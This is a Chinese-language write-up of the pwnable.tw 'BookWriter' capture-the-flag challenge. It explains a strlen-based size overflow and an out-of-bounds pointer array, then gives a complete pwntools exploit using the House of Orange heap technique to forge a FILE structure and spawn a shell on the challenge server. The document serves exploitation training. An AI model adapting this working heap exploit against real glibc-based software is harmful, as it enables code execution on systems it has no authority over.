PWNABLE.TW-BookWriter-WP

Posted on Mar 24, 2021

这是一道 house of orange,总体比较明显,比较模板化,但是有一处溢出点藏得比较深。

漏洞点

这里对 size_arr 进行了更新,使用的是 strlen,那么只要我们把输入的字符串和下一个 chunk 的 size 接起来,就可以扩大 size,这样就可以在下一次 edit 时修改下一个 chunk 的 size。

同时这里有一个比较隐蔽的数组越界

存放堆块指针的数组的只能存 8 个指针,紧接着的就是下面的 size 数组,而 add 的时候 i 扫到了 ptr_arr[8],也就是第零个堆块的 size,那么如果我们申请的堆块的指针被存到了 ptr_arr[8],那第零个堆块的可写长度就会变得非常长,可以很容易地实现大量的堆溢出。

从这里来看好像 edit 中的溢出就变得非常的小儿科了,这也确实,但是通过在 edit 时输入 \x00,就可以实现对 ptr_arr[8](实际上是第零个堆块的 size)的置零,在攻击的最后一步可以让我们再获得一次申请的机会。

上面分析的是越界,至于 leak,通过 infor 函数可以 leak 出堆地址(虽然这个好像是多余的,通过申请较大空间本身就可以获得堆地址),libc_base 有 view 函数可以 leak,比较简单不再赘述。

利用方法

就是典型的 house of orange 利用,可以参考我的这篇 WP。既然要学这个利用方法,学原题肯定会更好一些,我这里就偷个懒不写啦。

exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *

def add(size,payload):
    sh.sendlineafter("choice :",'1')
    sh.sendlineafter("page :",str(size))
    sh.sendafter("Content :",payload)

def view(index):
    sh.sendlineafter("choice :",'2')
    sh.sendlineafter("page :",str(index))

def edit(index,payload):
    sh.sendlineafter("choice :",'3')
    sh.sendlineafter("page :",str(index))
    sh.sendafter("Content:",payload)

def infor(endOfAuthorName):
    sh.sendlineafter("choice :",'4')
    sh.recvuntil(endOfAuthorName)
    heap_base = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00')) - 0x10
    sh.sendlineafter("no:0) ",'0')
    return heap_base

libc = ELF("./libc.so.6")
sh = remote("chall.pwnable.tw",10304)
#libc = ELF("/glibc/2.23/amd64/lib/libc.so.6")
#sh = process("./bookwriter")

sh.sendafter("Author :",'a' * 0x3F + '-')
add(0,'\n')#index:0

add(0x100 - 0x8,'\n')#index:1
edit(1,'a' * (0x100 - 0x8))
edit(1,'a' * (0x100 - 0x8) + '\xe1\x0e\x00')
heap_base = infor('-')
log.success("heap_base:" + hex(heap_base))
add(0x58,'a' * 8)#index:2
view(2)
sh.recvuntil('a' * 8)
libc_base = u64(sh.recv(6).ljust(8,'\x00')) - 1640 - libc.symbols["__malloc_hook"] - 0x10
log.success("libc_base:" + hex(libc_base))
_IO_list_all_addr = libc.symbols["_IO_list_all"] + libc_base
system_addr = libc.symbols["system"] + libc_base

add(0x18,'\n')#index:3
add(0x18,'\n')#index:4
add(0x18,'\n')#index:5
add(0x18,'\n')#index:6
add(0x18,'\n')#index:7
add(0x18,'\n')#index:8

payload = 'a' * 0x230 
fake_chunk = '/bin/sh\x00' + p64(0x61) 
fake_chunk += p64(0) + p64(_IO_list_all_addr - 0x10)#*bk = &main_arena + 88
fake_chunk += p64(0) + p64(1)
fake_chunk = fake_chunk.ljust(0xC0,'\x00')
fake_chunk += p32(0)
fake_chunk += p32(0) + p64(0) * 2

payload += fake_chunk
payload += p64(heap_base + 0x240 + 0xC0 + 0x18 + 0x8)
payload += p64(0) * 3
payload += p64(system_addr)
edit(0,payload)
edit(0,'\x00')

sh.sendlineafter("choice :",'1')
sh.sendlineafter("page :",str(8))


sh.interactive()

通过一些调试我发现好像是无法通过直接的 big request 来实现使 top_chunk 进入 unsorted bin 的,必须伪造 size 才可以,所以这里虽然没有限制申请的空间大小,但是也需要伪造 size。